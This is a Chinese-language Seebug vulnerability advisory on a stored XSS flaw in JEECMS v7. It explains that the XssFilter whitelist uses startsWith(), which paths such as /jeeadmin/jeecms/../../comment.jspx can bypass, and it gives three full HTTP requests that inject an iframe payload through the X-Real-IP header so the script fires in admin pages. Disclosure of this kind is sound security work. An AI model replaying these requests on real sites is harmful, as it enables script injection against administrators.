JEECMS XssFilter缺陷导致的存储型XSS漏洞

2016-03-07T00:00:00
ID SSV:94848
Type seebug
Reporter Root
Modified 2016-03-07T00:00:00

Description

简要描述:

自带的XssFilter绕过。

详细说明:

在官网下载最新的jeecmsV7

http://**.**.**.**/fabu/41667.jhtml

其中的web.xml中配置了XssFilter如下:

<filter> <filter-name>XssFilter</filter-name> <filter-class>**.**.**.**mon.web.XssFilter</filter-class> <init-param> <param-name>excludeUrls</param-name> <param-value>/member/contribute@/jeeadmin/jeecms@/flow_statistic</param-value> </init-param> <init-param> <param-name>SplitChar</param-name> <param-value>@</param-value> </init-param> <init-param> <param-name>FilterChar</param-name> <param-value>'@"@\@#@:@%@></param-value> </init-param> <init-param> <param-name>ReplaceChar</param-name> <param-value>‘@“@\@#@:@%@></param-value> </init-param> </filter>

...mon.web.XssFilter中代码如下:

``` public class XssFilter implements Filter { private String filterChar; private String replaceChar; private String splitChar; private String excludeUrls; FilterConfig filterConfig = null; public void init(FilterConfig filterConfig) throws ServletException { this.filterChar=filterConfig.getInitParameter("FilterChar"); this.replaceChar=filterConfig.getInitParameter("ReplaceChar"); this.splitChar=filterConfig.getInitParameter("SplitChar"); this.excludeUrls=filterConfig.getInitParameter("excludeUrls"); this.filterConfig = filterConfig; } public void destroy() { this.filterConfig = null; } public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { if(isExcludeUrl(request)){ chain.doFilter(request, response); }else{ chain.doFilter(new XssHttpServletRequestWrapper((HttpServletRequest) request,filterChar,replaceChar,splitChar), response); } }

private boolean isExcludeUrl(ServletRequest request){
    boolean exclude=false;
    if(StringUtils.isNotBlank(excludeUrls)){
         String[]excludeUrl=excludeUrls.split(splitChar);
         if(excludeUrl!=null&&excludeUrl.length>0){
             for(String url:excludeUrl){
                 if(URLHelper.getURI((HttpServletRequest)request).startsWith(url)){
                     exclude=true;
                 }
             }
         }
    }
    return exclude;
}

} ```

注意其中的isExcludeUrl(ServletRequest request)方法,isExcludeUrl()用于排除web.xml中定义的URL(即白名单,XssFilter不检查web.xml定义页面中的XSS字符)如下(以@分割):

<init-param> <param-name>excludeUrls</param-name> <param-value>/member/contribute@/jeeadmin/jeecms@/flow_statistic</param-value> </init-param>

在具体实现xss白名单的的时候使用的是startsWith():

if(URLHelper.getURI((HttpServletRequest)request).startsWith(url)){ exclude=true; }

即URI目录以以下字符开头即可绕过XssFilter的检查:

/member/contribute /jeeadmin/jeecms /flow_statistic

再来看 RequestUtils.java中的getIpAddr(HttpServletRequest request)方法:

public static String getIpAddr(HttpServletRequest request) { String ip = request.getHeader("X-Real-IP"); if (!StringUtils.isBlank(ip) && !"unknown".equalsIgnoreCase(ip)) { return ip; } ip = request.getHeader("X-Forwarded-For"); if (!StringUtils.isBlank(ip) && !"unknown".equalsIgnoreCase(ip)) { // 多次反向代理后会有多个IP值,第一个为真实IP。 int index = ip.indexOf(','); if (index != -1) { return ip.substring(0, index); } else { return ip; } } else { return request.getRemoteAddr(); } }

此方法用于获取ip地址,可以从以下两个HTTP头中获取:

X-Real-IP X-Forwarded-For

getIpAddr(HttpServletRequest request)在CommentAct.java中被调用:

@RequestMapping(value = "/comment.jspx", method = RequestMethod.POST) public void submit(Integer contentId, Integer score,String text, String captcha, HttpServletRequest request, HttpServletResponse response, ModelMap model) throws JSONException { …… cmsCommentM**.**.**.**ment(score,text, RequestUtils.getIpAddr(request), contentId, site.getId(), userId, checked, false); json.put("success", true); json.put("status", 0); } ResponseUtils.renderJson(response, json.toString()); }

通过cmsCommentM...ment()直接把IP地址RequestUtils.getIpAddr(request)写入到数据库,首先是正常的在前台文章进行评论,抓包写入HTTP头:

<img src="https://images.seebug.org/upload/201603/070031187b696f6c364e016930a2f2ddd818716e.png" alt="5.png" width="600" onerror="javascript:errimg(this);">

在后台查看可以看到>符号被替换为>:

<img src="https://images.seebug.org/upload/201603/07003157a938932112a40f4fb3d014c53b251e85.png" alt="6.png" width="600" onerror="javascript:errimg(this);">

下面来开始绕过,前台评论:

<img src="https://images.seebug.org/upload/201603/06221440944e7ca9903931647424368e7761cbe7.png" alt="1.png" width="600" onerror="javascript:errimg(this);">

抓包拦截,将URL修改为以/jeeadmin/jeecms/开头:

/jeeadmin/jeecms/../../comment.jspx

添加获取IP的HTTP头:

X-Real-IP: &lt;iframe src=http://**.**.**.**&gt;&lt;/iframe&gt;

整个包如下:

POST /jeeadmin/jeecms/../../comment.jspx HTTP/1.1 Host: **.**.**.**:8080 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Real-IP: &lt;iframe src=http://**.**.**.**&gt;&lt;/iframe&gt; Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://**.**.**.**:8080/gnxw/587.jhtml Content-Length: 85 Cookie: JSESSIONID=DC196DF35057163936FA768EA9426CC5; clientlanguage=zh_CN; pgv_pvid=6516730796; _site_id_cookie=1 Connection: keep-alive text=testabc&captcha=xpxq&contentId=587&Submit=+%E9%A9%AC%E4%B8%8A%E5%8F%91%E8%A1%A8+

当管理员在后台审核评论时即可触发跨站,如下图:

<img src="https://images.seebug.org/upload/201603/06221835766406b487b0f6062e5c473e56676435.png" alt="2.png" width="600" onerror="javascript:errimg(this);">

RequestUtils.getIpAddr(request)还在登录时被调用了,前台登录:

POST /jeeadmin/jeecms/../../login.jspx HTTP/1.1 Host: **.**.**.**:8080 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Real-IP: &lt;iframe src=http://**.**.**.**&gt;&lt;/iframe&gt; Referer: http://**.**.**.**:8080/login.jspx?returnUrl=/ Cookie: JSESSIONID=E83E40D41B18500DEC0DB3C1EFD1A749; clientlanguage=zh_CN; pgv_pvid=6516730796; _site_id_cookie=1; __qc_wId=506 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 59 returnUrl=%2F&username=xxooxx1&password=111111&captcha=dupa

登录成功后,管理员在后台点击用户模块即可触发跨站:

<img src="https://images.seebug.org/upload/201603/062224300f211979e6d5904baa3ea6903b7383f4.png" alt="3.png" width="600" onerror="javascript:errimg(this);">

RequestUtils.getIpAddr(request),后台登录调用:

POST /jeeadmin/jeecms/login.do HTTP/1.1 Host: **.**.**.**:8080 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Real-IP: &lt;iframe src=http://**.**.**.**&gt;&lt;/iframe&gt; Referer: **.**.**.**:8080/jeeadmin/jeecms/login.do Cookie: pgv_pvid=1466705356; tm_last_login_uid=postmaster; tm_last_login_domain=root; tm_ibc=0; JSESSIONID=38DA86D43D85C0174FB6B08D407973A4; clientlanguage=zh_CN; _site_id_cookie=1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 58 username=aaaaaaa&password=aaaaaaaa&submit.x=21&submit.y=10

管理员在后台查看登录失败日志即可触发跨站:

<img src="https://images.seebug.org/upload/201603/06222745d9493bc305af8f13e5f4b8510b263bb5.png" alt="4.png" width="600" onerror="javascript:errimg(this);">

漏洞证明:

同上